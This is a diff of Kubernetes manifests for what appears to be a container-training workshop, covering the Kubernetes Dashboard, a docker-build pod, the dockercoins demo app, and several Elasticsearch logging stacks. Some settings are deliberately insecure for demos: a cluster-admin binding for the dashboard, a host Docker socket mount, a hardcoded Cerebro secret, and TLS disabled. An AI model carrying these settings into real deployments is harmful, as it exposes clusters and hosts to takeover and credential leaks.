+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: "kubernetes-dashboard-metrics"
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: kubernetes-dashboard-metrics
+subjects:
+  - kind: ServiceAccount
+    name: kubernetes-dashboard
+    namespace: kubernetes-dashboard
+---
+# Source: kubernetes-dashboard/templates/role.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  name: kubernetes-dashboard
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+rules:
+    # Allow Dashboard to get, update and delete Dashboard exclusive secrets.
+  - apiGroups: [""]
+    resources: ["secrets"]
+    resourceNames: ["kubernetes-dashboard-key-holder", "kubernetes-dashboard-certs", "kubernetes-dashboard-csrf"]
+    verbs: ["get", "update", "delete"]
+    # Allow Dashboard to get and update 'kubernetes-dashboard-settings' config map.
+  - apiGroups: [""]
+    resources: ["configmaps"]
+    resourceNames: ["kubernetes-dashboard-settings"]
+    verbs: ["get", "update"]
+    # Allow Dashboard to get metrics.
+  - apiGroups: [""]
+    resources: ["services"]
+    resourceNames: ["heapster", "dashboard-metrics-scraper"]
+    verbs: ["proxy"]
+  - apiGroups: [""]
+    resources: ["services/proxy"]
+    resourceNames: ["heapster", "http:heapster:", "https:heapster:", "dashboard-metrics-scraper", "http:dashboard-metrics-scraper"]
+    verbs: ["get"]
+---
+# Source: kubernetes-dashboard/templates/rolebinding.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  name: kubernetes-dashboard
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: kubernetes-dashboard
+subjects:
+  - kind: ServiceAccount
+    name: kubernetes-dashboard
+    namespace: kubernetes-dashboard
+---
+# Source: kubernetes-dashboard/templates/service.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+apiVersion: v1
+kind: Service
+metadata:
+  name: kubernetes-dashboard
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: kubernetes-dashboard
+    kubernetes.io/cluster-service: "true"
+spec:
+  type: NodePort
+  ports:
+  - port: 443
+    targetPort: https
+    name: https
+  selector:
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/component: kubernetes-dashboard
+---
+# Source: kubernetes-dashboard/templates/deployment.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: kubernetes-dashboard
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: kubernetes-dashboard
+spec:
+  replicas: 1
+  strategy:
+    rollingUpdate:
+      maxSurge: 0
+      maxUnavailable: 1
+    type: RollingUpdate
+  selector:
+    matchLabels:
+      app.kubernetes.io/name: kubernetes-dashboard
+      app.kubernetes.io/instance: kubernetes-dashboard
+      app.kubernetes.io/component: kubernetes-dashboard
+  template:
+    metadata:
+      labels:
+        app.kubernetes.io/name: kubernetes-dashboard
+        helm.sh/chart: kubernetes-dashboard-5.0.2
+        app.kubernetes.io/instance: kubernetes-dashboard
+        app.kubernetes.io/version: "2.3.1"
+        app.kubernetes.io/managed-by: Helm
+        app.kubernetes.io/component: kubernetes-dashboard
+    spec:
+      securityContext:
+        seccompProfile:
+          type: RuntimeDefault
+      serviceAccountName: kubernetes-dashboard
+      containers:
+      - name: kubernetes-dashboard
+        image: "kubernetesui/dashboard:v2.3.1"
+        imagePullPolicy: IfNotPresent
+        args:
+          - --namespace=kubernetes-dashboard
+          - --auto-generate-certificates
+          - --metrics-provider=none
+        ports:
+        - name: https
+          containerPort: 8443
+          protocol: TCP
+        volumeMounts:
+        - name: kubernetes-dashboard-certs
+          mountPath: /certs
+          # Create on-disk volume to store exec logs
+        - mountPath: /tmp
+          name: tmp-volume
+        livenessProbe:
+          httpGet:
+            scheme: HTTPS
+            path: /
+            port: 8443
+          initialDelaySeconds: 30
+          timeoutSeconds: 30
+        resources:
+          limits:
+            cpu: 2
+            memory: 200Mi
+          requests:
+            cpu: 100m
+            memory: 200Mi
+        securityContext:
+          allowPrivilegeEscalation: false
+          readOnlyRootFilesystem: true
+          runAsGroup: 2001
+          runAsUser: 1001
+      volumes:
+      - name: kubernetes-dashboard-certs
+        secret:
+          secretName: kubernetes-dashboard-certs
+      - name: tmp-volume
+        emptyDir: {}
+---
+# Source: kubernetes-dashboard/templates/clusterrole-readonly.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+---
+# Source: kubernetes-dashboard/templates/clusterrolebinding-readonly.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+---
+# Source: kubernetes-dashboard/templates/ingress.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+---
+# Source: kubernetes-dashboard/templates/networkpolicy.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+---
+# Source: kubernetes-dashboard/templates/pdb.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+---
+# Source: kubernetes-dashboard/templates/psp.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  creationTimestamp: null
+  name: kubernetes-dashboard:cluster-admin
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: cluster-admin
+subjects:
+- kind: ServiceAccount
+  name: cluster-admin
+  namespace: kubernetes-dashboard
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  creationTimestamp: null
+  name: cluster-admin
+  namespace: kubernetes-dashboard

k8s/docker-build.yaml

@@ -0,0 +1,28 @@
+apiVersion: v1
+kind: Pod
+metadata:
+  name: build-image
+spec:
+  restartPolicy: OnFailure
+  containers:
+  - name: docker-build
+    image: docker
+    env:
+    - name: REGISTRY_PORT
+      value: #"30000"
+    command: ["sh", "-c"]
+    args:
+    - |
+      apk add --no-cache git &&
+      mkdir /workspace &&
+      git clone https://github.com/jpetazzo/container.training /workspace &&
+      docker build -t localhost:$REGISTRY_PORT/worker /workspace/dockercoins/worker &&
+      docker push localhost:$REGISTRY_PORT/worker
+    volumeMounts:
+    - name: docker-socket
+      mountPath: /var/run/docker.sock
+  volumes:
+  - name: docker-socket
+    hostPath:
+      path: /var/run/docker.sock
+

k8s/dockercoins.yaml

@@ -0,0 +1,160 @@
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: hasher
+  name: hasher
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: hasher
+  template:
+    metadata:
+      labels:
+        app: hasher
+    spec:
+      containers:
+      - image: dockercoins/hasher:v0.1
+        name: hasher
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: hasher
+  name: hasher
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: hasher
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: redis
+  name: redis
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: redis
+  template:
+    metadata:
+      labels:
+        app: redis
+    spec:
+      containers:
+      - image: redis
+        name: redis
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: redis
+  name: redis
+spec:
+  ports:
+  - port: 6379
+    protocol: TCP
+    targetPort: 6379
+  selector:
+    app: redis
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: rng
+  name: rng
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: rng
+  template:
+    metadata:
+      labels:
+        app: rng
+    spec:
+      containers:
+      - image: dockercoins/rng:v0.1
+        name: rng
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: rng
+  name: rng
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: rng
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: webui
+  name: webui
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: webui
+  template:
+    metadata:
+      labels:
+        app: webui
+    spec:
+      containers:
+      - image: dockercoins/webui:v0.1
+        name: webui
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: webui
+  name: webui
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: webui
+  type: NodePort
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: worker
+  name: worker
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: worker
+  template:
+    metadata:
+      labels:
+        app: worker
+    spec:
+      containers:
+      - image: dockercoins/worker:v0.1
+        name: worker

k8s/eck-cerebro.yaml

@@ -0,0 +1,69 @@
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: cerebro
+  name: cerebro
+spec:
+  selector:
+    matchLabels:
+      app: cerebro
+  template:
+    metadata:
+      labels:
+        app: cerebro
+    spec:
+      volumes:
+      - name: conf
+        configMap:
+          name: cerebro
+      containers:
+      - image: lmenezes/cerebro
+        name: cerebro
+        volumeMounts:
+        - name: conf
+          mountPath: /conf
+        args:
+        - -Dconfig.file=/conf/application.conf
+        env:
+        - name: ELASTICSEARCH_PASSWORD
+          valueFrom:       
+            secretKeyRef:      
+              name: demo-es-elastic-user
+              key: elastic
+
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: cerebro
+  name: cerebro
+spec:
+  ports:
+  - port: 9000
+    protocol: TCP
+    targetPort: 9000
+  selector:
+    app: cerebro
+  type: NodePort
+---
+apiVersion: v1
+kind: ConfigMap
+metadata:
+  name: cerebro
+data:
+  application.conf: |
+    secret = "ki:s:[[@=Ag?QI`W2jMwkY:eqvrJ]JqoJyi2axj3ZvOv^/KavOT4ViJSv?6YY4[N"
+
+    hosts = [
+      {
+        host = "http://demo-es-http.eck-demo.svc.cluster.local:9200"
+        name = "demo"
+        auth = {
+          username = "elastic"
+          password = ${?ELASTICSEARCH_PASSWORD}
+        }
+      }
+    ]

k8s/eck-elasticsearch.yaml

@@ -0,0 +1,19 @@
+apiVersion: elasticsearch.k8s.elastic.co/v1
+kind: Elasticsearch
+metadata:
+  name: demo
+  namespace: eck-demo
+spec:
+  http:
+    tls:
+      selfSignedCertificate:
+        disabled: true
+  nodeSets:
+  - name: default
+    count: 1
+    config:
+      node.data: true
+      node.ingest: true
+      node.master: true
+      node.store.allow_mmap: false
+  version: 7.5.1

k8s/eck-filebeat.yaml

@@ -0,0 +1,168 @@
+---
+apiVersion: v1
+kind: ConfigMap
+metadata:
+  name: filebeat-config
+  namespace: eck-demo
+  labels:
+    k8s-app: filebeat
+data:
+  filebeat.yml: |-
+    filebeat.inputs:
+    - type: container
+      paths:
+        - /var/log/containers/*.log
+      processors:
+        - add_kubernetes_metadata:
+            host: ${NODE_NAME}
+            matchers:
+            - logs_path:
+                logs_path: "/var/log/containers/"
+
+    # To enable hints based autodiscover, remove `filebeat.inputs` configuration and uncomment this:
+    #filebeat.autodiscover:
+    #  providers:
+    #    - type: kubernetes
+    #      node: ${NODE_NAME}
+    #      hints.enabled: true
+    #      hints.default_config:
+    #        type: container
+    #        paths:
+    #          - /var/log/containers/*${data.kubernetes.container.id}.log
+
+    processors:
+      - add_cloud_metadata:
+      - add_host_metadata:
+
+    cloud.id: ${ELASTIC_CLOUD_ID}
+    cloud.auth: ${ELASTIC_CLOUD_AUTH}
+
+    output.elasticsearch:
+      hosts: ['${ELASTICSEARCH_HOST:elasticsearch}:${ELASTICSEARCH_PORT:9200}']
+      username: ${ELASTICSEARCH_USERNAME}
+      password: ${ELASTICSEARCH_PASSWORD}
+---
+apiVersion: apps/v1
+kind: DaemonSet
+metadata:
+  name: filebeat
+  namespace: eck-demo
+  labels:
+    k8s-app: filebeat
+spec:
+  selector:
+    matchLabels:
+      k8s-app: filebeat
+  template:
+    metadata:
+      labels:
+        k8s-app: filebeat
+    spec:
+      serviceAccountName: filebeat
+      terminationGracePeriodSeconds: 30
+      hostNetwork: true
+      dnsPolicy: ClusterFirstWithHostNet
+      containers:
+      - name: filebeat
+        image: docker.elastic.co/beats/filebeat:7.5.1
+        args: [
+          "-c", "/etc/filebeat.yml",
+          "-e",
+        ]
+        env:
+        - name: ELASTICSEARCH_HOST
+          value: demo-es-http
+        - name: ELASTICSEARCH_PORT
+          value: "9200"
+        - name: ELASTICSEARCH_USERNAME
+          value: elastic
+        - name: ELASTICSEARCH_PASSWORD
+          valueFrom:
+            secretKeyRef:
+              name: demo-es-elastic-user
+              key: elastic
+        - name: ELASTIC_CLOUD_ID
+          value:
+        - name: ELASTIC_CLOUD_AUTH
+          value:
+        - name: NODE_NAME
+          valueFrom:
+            fieldRef:
+              fieldPath: spec.nodeName
+        securityContext:
+          runAsUser: 0
+          # If using Red Hat OpenShift uncomment this:
+          #privileged: true
+        resources:
+          limits:
+            memory: 200Mi
+          requests:
+            cpu: 100m
+            memory: 100Mi
+        volumeMounts:
+        - name: config
+          mountPath: /etc/filebeat.yml
+          readOnly: true
+          subPath: filebeat.yml
+        - name: data
+          mountPath: /usr/share/filebeat/data
+        - name: varlibdockercontainers
+          mountPath: /var/lib/docker/containers
+          readOnly: true
+        - name: varlog
+          mountPath: /var/log
+          readOnly: true
+      volumes:
+      - name: config
+        configMap:
+          defaultMode: 0600
+          name: filebeat-config
+      - name: varlibdockercontainers
+        hostPath:
+          path: /var/lib/docker/containers
+      - name: varlog
+        hostPath:
+          path: /var/log
+      # data folder stores a registry of read status for all files, so we don't send everything again on a Filebeat pod restart
+      - name: data
+        hostPath:
+          path: /var/lib/filebeat-data
+          type: DirectoryOrCreate
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: filebeat
+subjects:
+- kind: ServiceAccount
+  name: filebeat
+  namespace: eck-demo
+roleRef:
+  kind: ClusterRole
+  name: filebeat
+  apiGroup: rbac.authorization.k8s.io
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  name: filebeat
+  labels:
+    k8s-app: filebeat
+rules:
+- apiGroups: [""] # "" indicates the core API group
+  resources:
+  - namespaces
+  - pods
+  verbs:
+  - get
+  - watch
+  - list
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: filebeat
+  namespace: eck-demo
+  labels:
+    k8s-app: filebeat
+---

k8s/eck-kibana.yaml

@@ -0,0 +1,17 @@
+apiVersion: kibana.k8s.elastic.co/v1
+kind: Kibana
+metadata:
+  name: demo
+spec:
+  version: 7.5.1
+  count: 1
+  elasticsearchRef:
+    name: demo
+    namespace: eck-demo
+  http:
+    service:
+      spec:
+        type: NodePort
+    tls:
+      selfSignedCertificate:
+        disabled: true

k8s/efk.yaml

@@ -3,9 +3,9 @@ apiVersion: v1
 kind: ServiceAccount
 metadata:
   name: fluentd
-
+  namespace: default
 ---
-apiVersion: rbac.authorization.k8s.io/v1beta1
+apiVersion: rbac.authorization.k8s.io/v1
 kind: ClusterRole
 metadata:
   name: fluentd
@@ -19,10 +19,9 @@ rules:
   - get
   - list
   - watch
-
 ---
 kind: ClusterRoleBinding
-apiVersion: rbac.authorization.k8s.io/v1beta1
+apiVersion: rbac.authorization.k8s.io/v1
 metadata:
   name: fluentd
 roleRef:
@@ -33,23 +32,22 @@ subjects:
 - kind: ServiceAccount
   name: fluentd
   namespace: default
-
 ---
-apiVersion: extensions/v1beta1
+apiVersion: apps/v1
 kind: DaemonSet
 metadata:
   name: fluentd
+  namespace: default
   labels:
-    k8s-app: fluentd-logging
-    version: v1
-    kubernetes.io/cluster-service: "true"
+    app: fluentd
 spec:
+  selector:
+    matchLabels:
+      app: fluentd
   template:
     metadata:
       labels:
-        k8s-app: fluentd-logging
-        version: v1
-        kubernetes.io/cluster-service: "true"
+        app: fluentd
     spec:
       serviceAccount: fluentd
       serviceAccountName: fluentd
@@ -58,7 +56,7 @@ spec:
         effect: NoSchedule
       containers:
       - name: fluentd
-        image: fluent/fluentd-kubernetes-daemonset:elasticsearch
+        image: fluent/fluentd-kubernetes-daemonset:v1.4-debian-elasticsearch-1
         env:
           - name:  FLUENT_ELASTICSEARCH_HOST
             value: "elasticsearch"
@@ -66,12 +64,12 @@ spec:
             value: "9200"
           - name: FLUENT_ELASTICSEARCH_SCHEME
             value: "http"
-          # X-Pack Authentication
-          # =====================
-          - name: FLUENT_ELASTICSEARCH_USER
-            value: "elastic"
-          - name: FLUENT_ELASTICSEARCH_PASSWORD
-            value: "changeme"
+          - name: FLUENT_UID
+            value: "0"
+          - name: FLUENTD_SYSTEMD_CONF
+            value: "disable"
+          - name: FLUENTD_PROMETHEUS_CONF
+            value: "disable"
         resources:
           limits:
             memory: 200Mi
@@ -92,131 +90,87 @@ spec:
       - name: varlibdockercontainers
         hostPath:
           path: /var/lib/docker/containers
-
 ---
-apiVersion: extensions/v1beta1
+apiVersion: apps/v1
 kind: Deployment
 metadata:
-  annotations:
-    deployment.kubernetes.io/revision: "1"
-  creationTimestamp: null
-  generation: 1
   labels:
-    run: elasticsearch
+    app: elasticsearch
   name: elasticsearch
-  selfLink: /apis/extensions/v1beta1/namespaces/default/deployments/elasticsearch
+  namespace: default
 spec:
-  progressDeadlineSeconds: 600
-  replicas: 1
-  revisionHistoryLimit: 10
   selector:
     matchLabels:
-      run: elasticsearch
-  strategy:
-    rollingUpdate:
-      maxSurge: 1
-      maxUnavailable: 1
-    type: RollingUpdate
+      app: elasticsearch
   template:
     metadata:
-      creationTimestamp: null
       labels:
-        run: elasticsearch
+        app: elasticsearch
     spec:
       containers:
-      - image: elasticsearch:5.6.8
-        imagePullPolicy: IfNotPresent
+      - image: elasticsearch:5
         name: elasticsearch
-        resources: {}
-        terminationMessagePath: /dev/termination-log
-        terminationMessagePolicy: File
-      dnsPolicy: ClusterFirst
-      restartPolicy: Always
-      schedulerName: default-scheduler
-      securityContext: {}
-      terminationGracePeriodSeconds: 30
-
+        resources:
+          limits:
+            memory: 2Gi
+          requests:
+            memory: 1Gi
+        env:
+        - name: ES_JAVA_OPTS
+          value: "-Xms1g -Xmx1g"
 ---
 apiVersion: v1
 kind: Service
 metadata:
-  creationTimestamp: null
   labels:
-    run: elasticsearch
+    app: elasticsearch
   name: elasticsearch
-  selfLink: /api/v1/namespaces/default/services/elasticsearch
+  namespace: default
 spec:
   ports:
   - port: 9200
     protocol: TCP
     targetPort: 9200
   selector:
-    run: elasticsearch
-  sessionAffinity: None
+    app: elasticsearch
   type: ClusterIP
-
 ---
-apiVersion: extensions/v1beta1
+apiVersion: apps/v1
 kind: Deployment
 metadata:
-  annotations:
-    deployment.kubernetes.io/revision: "1"
-  creationTimestamp: null
-  generation: 1
   labels:
-    run: kibana
+    app: kibana
   name: kibana
-  selfLink: /apis/extensions/v1beta1/namespaces/default/deployments/kibana
+  namespace: default
 spec:
-  progressDeadlineSeconds: 600
-  replicas: 1
-  revisionHistoryLimit: 10
   selector:
     matchLabels:
-      run: kibana
-  strategy:
-    rollingUpdate:
-      maxSurge: 1
-      maxUnavailable: 1
-    type: RollingUpdate
+      app: kibana
   template:
     metadata:
-      creationTimestamp: null
       labels:
-        run: kibana
+        app: kibana
     spec:
       containers:
       - env:
         - name: ELASTICSEARCH_URL
           value: http://elasticsearch:9200/
-        image: kibana:5.6.8
-        imagePullPolicy: Always
+        image: kibana:5
         name: kibana
         resources: {}
-        terminationMessagePath: /dev/termination-log
-        terminationMessagePolicy: File
-      dnsPolicy: ClusterFirst
-      restartPolicy: Always
-      schedulerName: default-scheduler
-      securityContext: {}
-      terminationGracePeriodSeconds: 30
-
 ---
 apiVersion: v1
 kind: Service
 metadata:
-  creationTimestamp: null
   labels:
-    run: kibana
+    app: kibana
   name: kibana
-  selfLink: /api/v1/namespaces/default/services/kibana
+  namespace: default
 spec:
-  externalTrafficPolicy: Cluster
   ports:
   - port: 5601
     protocol: TCP
     targetPort: 5601
   selector:
-    run: kibana
-  sessionAffinity: None
+    app: kibana
   type: NodePort

k8s/elasticsearch-cluster.yaml

@@ -0,0 +1,21 @@
+apiVersion: enterprises.upmc.com/v1
+kind: ElasticsearchCluster
+metadata:
+  name: es
+spec:
+  kibana:
+    image: docker.elastic.co/kibana/kibana-oss:6.1.3
+    image-pull-policy: Always
+  cerebro:
+    image: upmcenterprises/cerebro:0.7.2
+    image-pull-policy: Always
+  elastic-search-image: upmcenterprises/docker-elasticsearch-kubernetes:6.1.3_0
+  image-pull-policy: Always
+  client-node-replicas: 2
+  master-node-replicas: 3
+  data-node-replicas: 3
+  network-host: 0.0.0.0
+  use-ssl: false
+  data-volume-size: 10Gi
+  java-options: "-Xms512m -Xmx512m"
+

k8s/elasticsearch-operator.yaml

@@ -0,0 +1,97 @@
+# This is mirrored from https://github.com/upmc-enterprises/elasticsearch-operator/blob/master/example/controller.yaml but using the elasticsearch-operator namespace instead of operator
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: elasticsearch-operator
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: elasticsearch-operator
+  namespace: elasticsearch-operator
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  name: elasticsearch-operator
+rules:
+- apiGroups: ["extensions"]
+  resources: ["deployments", "replicasets", "daemonsets"]
+  verbs: ["create", "get", "update", "delete", "list"]
+- apiGroups: ["apiextensions.k8s.io"]
+  resources: ["customresourcedefinitions"]
+  verbs: ["create", "get", "update", "delete", "list"]
+- apiGroups: ["storage.k8s.io"]
+  resources: ["storageclasses"]
+  verbs: ["get", "list", "create", "delete", "deletecollection"]
+- apiGroups: [""]
+  resources: ["persistentvolumes", "persistentvolumeclaims", "services", "secrets", "configmaps"] 
+  verbs: ["create", "get", "update", "delete", "list"]
+- apiGroups: ["batch"]
+  resources: ["cronjobs", "jobs"]
+  verbs: ["create", "get", "deletecollection", "delete"]
+- apiGroups: [""]
+  resources: ["pods"]
+  verbs: ["list", "get", "watch"]
+- apiGroups: ["apps"]
+  resources: ["statefulsets", "deployments"]
+  verbs: ["*"]
+- apiGroups: ["enterprises.upmc.com"]
+  resources: ["elasticsearchclusters"]
+  verbs: ["*"]
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: elasticsearch-operator
+  namespace: elasticsearch-operator
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: elasticsearch-operator
+subjects:
+- kind: ServiceAccount
+  name: elasticsearch-operator
+  namespace: elasticsearch-operator
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: elasticsearch-operator
+  namespace: elasticsearch-operator
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      name: elasticsearch-operator
+  template:
+    metadata:
+      labels:
+        name: elasticsearch-operator
+    spec:
+      containers:
+      - name: operator
+        image: upmcenterprises/elasticsearch-operator:0.2.0
+        imagePullPolicy: Always
+        env:
+        - name: NAMESPACE
+          valueFrom:
+            fieldRef:
+              fieldPath: metadata.namespace
+        ports:
+        - containerPort: 8000
+          name: http
+        livenessProbe:
+          httpGet:
+            path: /live
+            port: 8000
+          initialDelaySeconds: 10
+          timeoutSeconds: 10
+        readinessProbe:
+          httpGet:
+            path: /ready
+            port: 8000
+          initialDelaySeconds: 10
+          timeoutSeconds: 5
+      serviceAccount: elasticsearch-operator

k8s/event-node.yaml

@@ -0,0 +1,30 @@
+kind: Event
+apiVersion: v1
+metadata:
+  generateName: hello-
+  labels:
+    container.training/test: ""
+
+#eventTime: "2020-07-04T00:00:00.000000Z"
+#firstTimestamp: "2020-01-01T00:00:00.000000Z"
+#lastTimestamp: "2020-12-31T00:00:00.000000Z"
+#count: 42
+
+involvedObject:
+  kind: Node
+  apiVersion: v1
+  name: kind-control-plane
+  # Note: the uid should be the Node name (not the uid of the Node).
+  # This might be specific to global objects.
+  uid: kind-control-plane
+
+type: Warning
+reason: NodeOverheat
+message: "Node temperature exceeds critical threshold"
+action: Hello
+source:
+  component: thermal-probe
+  #host: node1
+#reportingComponent: ""
